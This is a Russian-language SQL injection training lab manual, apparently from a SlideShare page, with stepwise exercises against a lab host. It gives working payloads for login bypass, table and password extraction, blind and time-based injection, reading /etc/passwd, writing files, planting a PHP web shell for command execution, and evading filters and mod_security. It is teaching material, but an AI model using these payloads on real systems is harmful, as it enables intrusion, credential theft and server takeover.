SlideShare una empresa de Scribd logo
1 de 12
«ВНЕДРЕНИЕ ОПЕРАТОРОВ SQL»

ЛАБОРАТОРНАЯ РАБОТА
ОГЛАВЛЕНИЕ
1    ЗАДАНИЯ ЛАБОРАТОРНОЙ РАБОТЫ .........................................................................3

    1.1 «В НЕДРЕНИЕ   ОПЕРАТОРОВ   SQL» (SQL I NJECTION )                                                      3

    1.2 «С ЛЕПОЕ    ВНЕДРЕНИЕ ОПЕРАТОРОВ   SQL» (B LIND SQL I NJECTION )                                       5

    1.3 Р АБОТА   С ФАЙЛОВОЙ СИСТЕМОЙ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ     SQL I NJECTION                           7

    1.4 В ЫПОЛНЕНИЕ    КОМАНД НА СЕРВЕРЕ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ       SQL I NJECTION                      8

    1.5 О БХОД    ПРОГРАММНЫХ ФИЛЬТРОВ БЕЗОПАСНОСТИ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ        SQL I NJECTION          9

    1.6 О БХОД W EB A PPLICATION F IREWALL (WAF)    ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ     SQL I NJECTION            11


2   ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ .............................................................................12

    2.1 И НСТРУМЕНТЫ    ДЛЯ РАБОТЫ С   SQL I NJECTION                                                         12

    2.2 С СЫЛКИ    НА ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ                                                                12




Лабораторная работа по теме «Внедрение операторов SQL»                                           Страница 2 из 12
1 Задания лабораторной работы


 1.1«Внедрение операторов SQL» (SQL Injection)

Действие                   Описание

Примечание: Действие выполняется из интерфейса http://192.168.0.51:80/
1.   Обнаружить             a.   Зайдите на интерфейс http://192.168.0.51:80/
     уязвимость SQL         b. Укажите в качестве имени пользователя и пароля 1
     Injection
                            c.   Вы увидите уведомление об ошибке авторизации.
                            d. В качестве имени пользователя укажите 1'
                            e.   В качестве пароля укажите 1
                            f.   Вы должны увидеть следующее сообщение об ошибке:
                                      Query failed: You have an error in your SQL syntax
2.   Обойти процедуру       a.   В том же интерфейсе укажите в качестве имени пользователя и пароля 1'OR'1'='1
     аутентификации         b. Вы должны увидеть следующее сообщение об успешной авторизации:
                                      Logged as Administrator
                            c.   Вернитесь к началу и попробуйте ввести разные комбинации в качестве имени
                                 пользователя и пароля, например:
                                 'or 1=1--
                                 'or(1)=(1)--
                                 'or 0x50=0x50--
                            d. Во всех приведенных случаях в примере выше Вы будете являться авторизованным
                                 пользователем системы, что достигается путем эксплуатации уязвимости SQL
                                 Injection.
3.   Получить список        a.   Перейдите по ссылке, которая становиться доступной после успешной авторизации в
     всех таблиц и               системе.
     колонок в              b. В качестве параметра «id» в адресной строке браузера введите следующую
     пространстве СУБД           комбинацию:
                                 14+union+select+'mytext'
                            c.   Теперь, в качестве параметра «id» в адресной строке браузера введите такую
                                 комбинацию:
                                 14+limit+0+union+select+'mytext'
                            d. Как можно заметить, в этом случае на странице отображается текст, который введен
                                 между двумя одинарными кавычками.
                                      mytext
                            e.   На этот раз в качестве параметра «id» в адресной строке браузера введите
                                 следующую комбинацию:
                                 14+union+select+'mytext'--
                            f.   Должен быть получен результат, аналогичный предыдущему, но при выполнении
                                 этого запроса отобразится вводимый текст между двумя одинарными кавычками


 Лабораторная работа по теме «Внедрение операторов SQL»                                        Страница 3 из 12
Действие                  Описание

                               совместно с данными из СУБД.
                                   test14
                                   mytext
                          g.   Попробуйте в качестве параметра «id» в адресной строке браузера ввести
                               следующую комбинацию:
                               14+OR+1=1--
                                   Вы увидите содержимое всей таблицы.
                          h. Выведите список всех таблиц и колонок в базе данных, выполнив следующий запрос:
                               ?id=14+union+select+concat_ws(0x3a,table_name,column_name)
                               +from+information_schema.columns--
                          i.   Получите все значения из таблицы «users». Запрос должен выглядеть следующим
                               образом:
                               ?id=14+union+select+concat_ws(0x3a,id,login,password,name)+from+users--
4.   Авторизоваться под   a.   Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
     пользователем             http://192.168.0.51:80/ под пользователем sqladmin.
     «sqladmin»




 Лабораторная работа по теме «Внедрение операторов SQL»                                     Страница 4 из 12
1.2«Слепое внедрение операторов SQL» (Blind
    SQL Injection)

Действие                     Описание

Примечание: Действие выполняется из интерфейса http://192.168.0.51:81/
1.   Используя               a.   Зайдите на интерфейс http://192.168.0.51:81/
     одинарную кавычку,      b. Перейдите на страницу «/actions.php».
     найти уязвимость
                             c.   Последовательно, подставляя одинарную кавычку во все параметры, передаваемые
     типа Blind SQL
                                  странице методом GET, необходимо обнаружить уязвимость SQL Injection. В
     Injection
                                  данном случае – это Blind SQL Injection.
                                       Query failed: You have an error in your SQL syntax
                             d. Убедитесь, что в данном случае уязвимость является «Слепым внедрением
                                  операторов SQL», используя методы, изученные на предыдущем занятии.
2.   Используя технику с     a.   В уязвимый параметр введите следующую конструкцию:
     функцией                     1 AND extractvalue(1,concat(0x5C,(select 'mytext')))--
     ExtractValue()
                             b. Как можно заметить, на странице отображается текст, который вводится между
     получить
                                  двумя одинарными кавычками.
     идентификаторы и
     пароли всех                       Query failed: XPATH syntax error: 'mytext'
     пользователей           c.   Используйте следующий запрос, чтобы получить запись о первой таблице с первой
3.   Авторизоваться под           колонкой этой таблицы в пространстве СУБД:
     пользователем                1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name)
     «blindSQLadmin»              from information_schema.columns limit 0,1)))--
                             d. Используя подобный запрос, становиться возможным последовательно выявить всю
                                  доступную структуру СУБД. Следующий запрос позволит прийти к цели несколько
                                  быстрее:
                                  1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name)
                                  from information_schema.columns where table_schema!='information_schema' limit
                                  0,1)))--
                             e.   Увеличивая значение limit (limit 0,1 > limit 1,1 > limit 2,1 и т.д.), узнайте название
                                  таблицы пользователей и колонок в ней.
                             f.   Используя все ту же технику эксплуатации уязвимости Blind SQL Injection, получите
                                  пароль пользователя «blindSQLadmin».
                                       Опционально, можно получить пароли и других пользователей в этой таблице.
                             g.   Авторизуйтесь под пользователем «blindSQLadmin» в интерфейсе
                                  http://192.168.0.51:81/.
Примечание: Помните про ограничение в 31 символ в возвращаемой ошибке, вызываемой функцией extractvalue().
Для обхода этого ограничения может использоваться функция MID(). Пример: mid((select 123 from table limit 0,1),32,63)
4.   Используя «sleep()»,    a.   Перейдите на страницу «/actions.php».
     найти уязвимость        b. Последовательно подставляя конструкцию «1 and+sleep(10)--» во все параметры,
     типа Double Blind            передаваемые к странице методом GET, можно обнаружить уязвимость Double Blind
     SQL Injection


 Лабораторная работа по теме «Внедрение операторов SQL»                                               Страница 5 из 12
Действие                   Описание

                                SQL Injection, помимо уже выявленной «Слепой инъекции».
Примечание: Функция sleep() приостанавливает выполнение запроса на N секунд.
5.   Используя технику     a.   В уязвимый параметр подставьте следующие конструкции и сравните результаты их
     эксплуатации               выполнения:
     уязвимости данного         1 AND if((lower(mid((select 'a'),1,1)))='a',sleep(10),1)--
     типа, получить
                                1 AND if((lower(mid((select 'b'),1,1)))='a',sleep(10),1)--
     пароль пользователя
     «2blindSQLadmin»      b. Используя данную технику аналогично методу эксплуатации Blind SQL Injection,
                                можно получить все доступные таблицы и колонки из таблицы
                                «information_schema.columns».
                                Примечание: таблица пользователей для Blind SQL Injection и для Double Blind SQL в
                                данном тестовом задании отличаются на единицу, а имена колонок полностью
                                совпадают.
                           c.   Используя технику эксплуатации уязвимости Double Blind SQL Injection, получите
                                пароль пользователя «2blindSQLadmin».
Примечание: Пароль пользователя «2blindSQLadmin» представлен в нижнем регистре и содержит одну цифру.
6.   Авторизоваться под    a.   Используя данные, полученные на предыдущем этапе, авторизуйтесь под
     пользователем              пользователем «2blindSQLadmin» в первом интерфейсе http://192.168.0.51:81/.
     «2blindSQLadmin»




 Лабораторная работа по теме «Внедрение операторов SQL»                                      Страница 6 из 12
1.3Работа с файловой системой при эксплуатации
    уязвимости SQL Injection

Действие                    Описание

Примечание: Действие выполняется из интерфейса http://192.168.0.51:8080/
1.   Прочитать файл /etc/   a.   Зайдите на интерфейс http://192.168.0.51:8080/
     passwd                 b. В параметр «f» подставьте следующую конструкцию:
                                 5 union select load_file('/etc/passwd')--
                            c.   Таким образом, Вы можете читать любой файл в файловой системе, доступ к
                                 которым на уровне ACL-файловой системы предоставлен пользователю, от имени
                                 которого запущена СУБД.
                            d. Попробуйте прочитать файлы /etc/hosts, /etc/motd и /etc/rc.conf.
                            e.   Как вы можете заметить, доступ на чтение к файлам /etc/hosts и /etc/motd
                                 предоставлен пользователю MySQL, а доступа к файлу /etc/rc.conf нет.
2.   Узнать путь до         a.   Функция load_file() также позволяет осуществлять листинг каталогов, читая их как
     корневого каталога          файл.
     web-сервера            b. Следующая конструкция позволит получить содержимое корневого каталога сервера:
                                 5 union select load_file('/')--
                            c.   Используйте эту технику, чтобы найти корневой каталог текущего виртуального
                                 хоста Web-сервера Apache.
Примечание: Относительный путь к каталогу, который требуется найти, «/data3» .
3.   Записать               a.   Используя конструкции «into outfile» или «into dumpfile», становиться возможным
     произвольную                создать файл на сервере с произвольным содержимым (если это не противоречит
     строку в файл               ACL). Вы можете попробовать записать файл в каталог «/tmp», права на запись в
     ServerDocumentRoot         который обычно есть у всех пользователей ОС:
     tmprandom_name             5 union select 'test' into dumpfile '/tmp/test.txt'--
                                 5 union select 'test' into outfile '/tmp/test.txt'--
                            b. По аналогии с приведенными примерами создайте файл с произвольным именем в
                                 каталоге «/usr/local/www/apache22/data3/tmp».
4.   Прочитать              a.   Прочитайте созданный Вами файл с использованием функции load_file().
     созданный файл




 Лабораторная работа по теме «Внедрение операторов SQL»                                           Страница 7 из 12
1.4Выполнение команд на сервере при
    эксплуатации уязвимости SQL Injection

Действие                    Описание

Примечание: Действие выполняется из интерфейса http://192.168.0.51:8080/
1.   Создать web-shell в    a.   Зайдите на интерфейс http://192.168.0.51:8080/
     каталоге               b. Через параметр «f», используя конструкцию «into outfile» или «into dumpfile»,
     ServerDocumentRoot         запишите следующую строку:
     shells
                                 <? system($_GET[cmd]); ?>
                                 в файл с произвольным именем и расширением «php» в корневой каталог текущего
                                 виртуального хоста Web-сервера Apache – «/usr/local/www/apache22/data3/shells/».
2.   Воспользоваться        a.   Обратитесь к созданному файлу по аналогии с приведенным ниже примером:
     созданным web-shell         http://192.168.0.51:8080/shells/<ваш_файл>.php?cmd=ls
     для выполнения
                            b. Таким образом Вы получили возможность выполнять произвольные команды с
     команд на сервере
                                 правами Web-сервера (пользователя, от имени которого запущен демон Apache).
                            c.   Выполните ряд команд, чтобы проверить свои привилегии и получить информацию о
                                 сервере. Например: «ls –la /», «id», «ifconfig», «uptime».
3.   Используя web-shell,   a.   Команда «cat» позволит получить содержимое указанного файла в задании.
     получить
     содержимое файла
     /etc/passwd




 Лабораторная работа по теме «Внедрение операторов SQL»                                       Страница 8 из 12
1.5Обход программных фильтров безопасности
    при эксплуатации уязвимости SQL Injection

Действие                   Описание

Примечание: Действие выполняется из интерфейса http://192.168.0.51:8585/
1.   Найти уязвимость       a.   Зайдите на интерфейс http://192.168.0.51:8585/
     типа SQL Injection     b. Перейдите на страницу «/actions.php».
                            c.   Последовательно подставляя одинарную кавычку во все параметры, передаваемые к
                                 странице методом GET, можно обнаружить уязвимость SQL Injection.
                            d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами.
Примечание: Запрос должен быть составлен таким образом, чтобы работать в условиях фильтрации. Воспользуйтесь
интерфейсом http://192.168.0.51:8585/hex.php для преобразования строк в шестнадцатеричные представления.
2.   Используя null-byte    a.   Во-первых, передаваемые Web-приложению параметры проверяются с
     в начале запроса,           использованием бинарно-зависимой функции ereg(), а, во-вторых, приложение
     получить все                уязвимо к null-byte. Используйте следующий запрос в уязвимом параметре,
     идентификаторы и            передаваемом к Web-приложению:
     пароли из таблицы           1/*%00*/or+1=1--
     пользователей
                            b. Из сообщения об ошибке прослеживается фильтрация поступающих в приложение
                                 данных. Так, можно понять, что происходит следующая фильтрация:
                                     «--» удаляются из запроса
                                     «пробел» заменяется на символ X
                            c.   Cформируйте запрос без пробелов:
                                 1/*%00*/or/**/1=1
                            d. Таким образом, запрос отработал. Попробуйте использовать union:
                                 1/*%00*/order/**/by/**/2/*в запросе возвращается одна колонка*/
                                 1/*%00*/union/**/select/**/1
                            e.   И снова ошибка. Попробуйте вставить вырезаемую комбинацию «--» в «union» и
                                 «select»:
                                 1/*%00*/uni--on/**/se--lect/**/1
                            f.   Как можно заметить, запрос отработал. Теперь можно попробовать выяснить имя
                                 требуемой таблицы и колонок в ней, выполнив следующий запрос:
                                 1/*%00*/uni--on/**/se--
                                 lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
                                 lumns/**/where/**/table_schema!='information_schema'
                            g.   Фильтруются одинарные кавычки. Можно заменить «information_schema» на его
                                 шестнадцатеричный эквивалент «0x696E666F726D6174696F6E5F736368656D61».
                                 Запрос примет вид:
                                 1/*%00*/uni--on/**/se--
                                 lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
                                 lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61



 Лабораторная работа по теме «Внедрение операторов SQL»                                      Страница 9 из 12
Действие                   Описание

                           h. Запрос отработал. Теперь используйте следующий запрос:
                                1/*%00*/limit/**/0/**/uni--on/**/se--
                                lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
                                lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61
                           i.   Такой запрос в условиях фильтрации данного примера позволяет читать содержимое
                                таблицы «information_schema.columns». Однако воспользоваться конструкцией
                                «limit 0,1» не получиться, т.к. в конце sql-запроса используется «limit 1» и нет
                                возможности в данном случае «обрезать» его. Но существует несколько вариантов
                                решения данной проблемы. Одно из них – отсеивать уже известные данные. Пример:
                                1/*%00*/limit/**/0/**/uni--on/**/se--
                                lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
                                lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/
                                AND/**/table_name/**/not/**/in(0x616374696F6E73)
                                Для случая выполнения лабораторной работы подобный подход более чем приемлем.
                                Но можно использовать и более простое решение:
                                1/*%00*/limit/**/0/**/uni--on/**/se--
                                lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
                                lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/
                                limit/**/0,1/**/un--ion/**/sel--ect/**/1
                           j.   Используя указанную технику, получите пароль пользователя sqlHacker.
Примечание: Обратите внимание на то, что таблица пользователей расположена в базе данных, отличной от текущей
(по умолчанию для сценария). Для идентификации имени базы данных можно использовать данные из «table_schema»
таблицы «information_schema.columns».
3.   Авторизоваться под    a.   Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
     пользователем              http://192.168.0.51:8585/ под пользователем sqlHacker.
     «sqlHacker»




 Лабораторная работа по теме «Внедрение операторов SQL»                                    Страница 10 из 12
1.6Обход Web Application Firewall (WAF) при
    эксплуатации уязвимости SQL Injection

Действие                   Описание

Примечание: Действие выполняется из интерфейса http://192.168.0.51:9191/
1.   Найти уязвимый         a.   Зайдите на интерфейс http://192.168.0.51:9191/
     сценарий для           b. Перейдите по ссылке «actions here».
     проведения атаки
                            c.   Используя одинарную кавычку, убедитесь, что оба параметра в адресной строке
     методом HPF
                                 уязвимы к атаке «Внедрение операторов SQL».
                            d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами.
                                 Например, установите в значение любого параметра конструкцию: «1 union select 1»
                                      Вы увидите стандартное сообщение об ошибке, возвращаемое Mod_Security.
Примечание: Web-приложение защищено mod_security v.2.5.9.
2.   Используя технику      a.   Используя технику HPF, следующая конструкция будет пропущена WAF:
     HPF, получить все           id=-1+union/*&lang=*/select+1,2,3
     идентификаторы и
                            b. Если таким образом попытаться обратиться к таблице
     пароли из таблицы
                                 «information_schema.columns» и колонкам «table_name» или «column_name», то
     пользователей
                                 WAF заблокирует запрос.
                            c.   Для того чтобы продвинуться дальше, можно попробовать отыскать наиболее
                                 популярные таблицы в текущей базе данных. Например: «logins», «admins», «users».
                                 id=-1+union/*&lang=*/select+1,2,3+from+xxx
                                 Если будет получен ответ:
                                      Query failed: Table 'web5.xxx' doesn't exist
                                 то такой таблицы не существует, в противоположном случае и в этом примере
                                 таблица с запрашиваемым именем в базе данных имеется.
                            d. После того, как таблица будет найдена, можно воспользоваться новым методом для
                                 обнаружения колонок в MySQL >=5.0 (метод Qwazar):
                                 Обнаружение первой колонки:
                                 id=-1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b)a
                                 Колонка «id» обнаружена, исключаем ее:
                                 id=-1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b+using(id))a
                                 и т.д.
                            e.   После того, как таблица с колонками будут идентифицированы, используя уже
                                 известную Вам технику (п.A), получите пароль пользователя root.
                                      Опционально, можно получить пароли и других пользователей в этой таблице.
3.   Авторизоваться под     a.   Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
     пользователем               http://192.168.0.51:9191/ под пользователем root.
     «root»




 Лабораторная работа по теме «Внедрение операторов SQL»                                     Страница 11 из 12
2 Дополнительные материалы


2.1 Инструменты для работы с SQL Injection
              sqlmap (http://sqlmap.sourceforge.net/)
       Полная поддержка: MySQL, Oracle, PostgreSQL и Microsoft SQL Server
       Частичная поддержка: Microsoft Access, DB2, Informix, Sybase и Interbase
              sqlus (http://sqlsus.sourceforge.net/)
       Реализована поддержка только MySQL
              bsqlbf-v2 (http://code.google.com/p/bsqlbf-v2/
       Больше ориентирована под слепые SQL-инъекции. Реализована поддержка:
       MySQL, Oracle, PostgreSQL и Microsoft SQL Server




2.2Ссылки на дополнительные материалы
              WASC: http://projects.webappsec.org/SQL-Injection
              OWASP: http://www.owasp.org/index.php/SQL_Injection
              Ресурсы Securitylab: http://www.securitylab.ru/
              Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle,
               MSSQL, MySQL, PostgreSQL, Ingres, DB2, Informix)
              Ресурсы Antichat:
                MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html
                MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127
                MSSQL: http://forum.antichat.ru/thread15087.html
                ORACLE: http://forum.antichat.ru/showthread.php?t=40576
                PostgreSQL: http://forum.antichat.ru/thread35599.html
                MSAccess: http://forum.antichat.ru/thread50550.html




Лабораторная работа по теме «Внедрение операторов SQL»                   Страница 12 из 12

Más contenido relacionado

La actualidad más candente

Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
Dmitry Evteev
 
CC HackQuest 2010 Full Disclosure (мастер-класс)
CC HackQuest 2010 Full Disclosure (мастер-класс)CC HackQuest 2010 Full Disclosure (мастер-класс)
CC HackQuest 2010 Full Disclosure (мастер-класс)
Dmitry Evteev
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
Andrew Mayorov
 
То, что вы хотели знать о HandlerSocket, но не смогли нагуглить / Сергей Авер...
То, что вы хотели знать о HandlerSocket, но не смогли нагуглить / Сергей Авер...То, что вы хотели знать о HandlerSocket, но не смогли нагуглить / Сергей Авер...
То, что вы хотели знать о HandlerSocket, но не смогли нагуглить / Сергей Авер...
Ontico
 
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
Badoo Development
 
Web осень 2013 лекция 4
Web осень 2013 лекция 4Web осень 2013 лекция 4
Web осень 2013 лекция 4
Technopark
 
Web осень 2013 лекция 8
Web осень 2013 лекция 8Web осень 2013 лекция 8
Web осень 2013 лекция 8
Technopark
 
Web осень 2013 лекция 7
Web осень 2013 лекция 7Web осень 2013 лекция 7
Web осень 2013 лекция 7
Technopark
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6
Technopark
 
Максим Щепелин. "Unittesting. Как?"
Максим Щепелин. "Unittesting. Как?"Максим Щепелин. "Unittesting. Как?"
Максим Щепелин. "Unittesting. Как?"
Python Meetup
 
Использование хранимых процедур в MySQL (Константин Осипов)
Использование хранимых процедур в MySQL (Константин Осипов)Использование хранимых процедур в MySQL (Константин Осипов)
Использование хранимых процедур в MySQL (Константин Осипов)
Ontico
 
СУБД 2013 Лекция №4 "Расширенные возможности работы с базами данных. Триггеры...
СУБД 2013 Лекция №4 "Расширенные возможности работы с базами данных. Триггеры...СУБД 2013 Лекция №4 "Расширенные возможности работы с базами данных. Триггеры...
СУБД 2013 Лекция №4 "Расширенные возможности работы с базами данных. Триггеры...
Technopark
 

La actualidad más candente (20)

Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
 
CC HackQuest 2010 Full Disclosure (мастер-класс)
CC HackQuest 2010 Full Disclosure (мастер-класс)CC HackQuest 2010 Full Disclosure (мастер-класс)
CC HackQuest 2010 Full Disclosure (мастер-класс)
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглитьСергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
 
То, что вы хотели знать о HandlerSocket, но не смогли нагуглить / Сергей Авер...
То, что вы хотели знать о HandlerSocket, но не смогли нагуглить / Сергей Авер...То, что вы хотели знать о HandlerSocket, но не смогли нагуглить / Сергей Авер...
То, что вы хотели знать о HandlerSocket, но не смогли нагуглить / Сергей Авер...
 
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
 
Web осень 2013 лекция 4
Web осень 2013 лекция 4Web осень 2013 лекция 4
Web осень 2013 лекция 4
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасности
 
Web осень 2013 лекция 8
Web осень 2013 лекция 8Web осень 2013 лекция 8
Web осень 2013 лекция 8
 
Lec 1
Lec 1Lec 1
Lec 1
 
Web осень 2013 лекция 7
Web осень 2013 лекция 7Web осень 2013 лекция 7
Web осень 2013 лекция 7
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6
 
Лекция #5. Введение в язык программирования Python 3
Лекция #5. Введение в язык программирования Python 3Лекция #5. Введение в язык программирования Python 3
Лекция #5. Введение в язык программирования Python 3
 
Философия Application Security
Философия Application SecurityФилософия Application Security
Философия Application Security
 
Максим Щепелин. "Unittesting. Как?"
Максим Щепелин. "Unittesting. Как?"Максим Щепелин. "Unittesting. Как?"
Максим Щепелин. "Unittesting. Как?"
 
Использование хранимых процедур в MySQL (Константин Осипов)
Использование хранимых процедур в MySQL (Константин Осипов)Использование хранимых процедур в MySQL (Константин Осипов)
Использование хранимых процедур в MySQL (Константин Осипов)
 
Лекция 7. Исключения и менеджеры контекста.
Лекция 7. Исключения и менеджеры контекста.Лекция 7. Исключения и менеджеры контекста.
Лекция 7. Исключения и менеджеры контекста.
 
СУБД 2013 Лекция №4 "Расширенные возможности работы с базами данных. Триггеры...
СУБД 2013 Лекция №4 "Расширенные возможности работы с базами данных. Триггеры...СУБД 2013 Лекция №4 "Расширенные возможности работы с базами данных. Триггеры...
СУБД 2013 Лекция №4 "Расширенные возможности работы с базами данных. Триггеры...
 
Лекция #7. Django ORM
Лекция #7. Django ORMЛекция #7. Django ORM
Лекция #7. Django ORM
 
Access 04
Access 04Access 04
Access 04
 

Destacado

Услуги PT для банков
Услуги PT для банковУслуги PT для банков
Услуги PT для банков
Dmitry Evteev
 
Собираем команду хакеров
Собираем команду хакеровСобираем команду хакеров
Собираем команду хакеров
Dmitry Evteev
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Dmitry Evteev
 
Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Реальные опасности виртуального мира.
Реальные опасности виртуального мира.
Dmitry Evteev
 
PHDays 2012: Future Now
PHDays 2012: Future NowPHDays 2012: Future Now
PHDays 2012: Future Now
Dmitry Evteev
 
Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.
Dmitry Evteev
 
Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...
Dmitry Evteev
 
Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.
Dmitry Evteev
 
Демонстрация атаки на ДБО
Демонстрация атаки на ДБОДемонстрация атаки на ДБО
Демонстрация атаки на ДБО
Dmitry Evteev
 
Типовые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системТиповые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских систем
Dmitry Evteev
 
Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...
Dmitry Evteev
 

Destacado (14)

PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
Услуги PT для банков
Услуги PT для банковУслуги PT для банков
Услуги PT для банков
 
Собираем команду хакеров
Собираем команду хакеровСобираем команду хакеров
Собираем команду хакеров
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Реальные опасности виртуального мира.
Реальные опасности виртуального мира.
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложений
 
PHDays 2012: Future Now
PHDays 2012: Future NowPHDays 2012: Future Now
PHDays 2012: Future Now
 
Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.
 
Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...
 
Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.
 
Демонстрация атаки на ДБО
Демонстрация атаки на ДБОДемонстрация атаки на ДБО
Демонстрация атаки на ДБО
 
Типовые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системТиповые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских систем
 
penetest VS. APT
penetest VS. APTpenetest VS. APT
penetest VS. APT
 
Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...
 

Similar a PT MIFI Labsql

Java осень 2013 лекция 8
Java осень 2013 лекция 8Java осень 2013 лекция 8
Java осень 2013 лекция 8
Technopark
 
Java осень 2012 лекция 8
Java осень 2012 лекция 8Java осень 2012 лекция 8
Java осень 2012 лекция 8
Technopark
 

Similar a PT MIFI Labsql (20)

Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
JDBC
JDBCJDBC
JDBC
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Инструментация среды исполнения в арсенале тестировщика
Инструментация среды исполнения в арсенале тестировщикаИнструментация среды исполнения в арсенале тестировщика
Инструментация среды исполнения в арсенале тестировщика
 
Работа с БД в Java
Работа с БД в JavaРабота с БД в Java
Работа с БД в Java
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
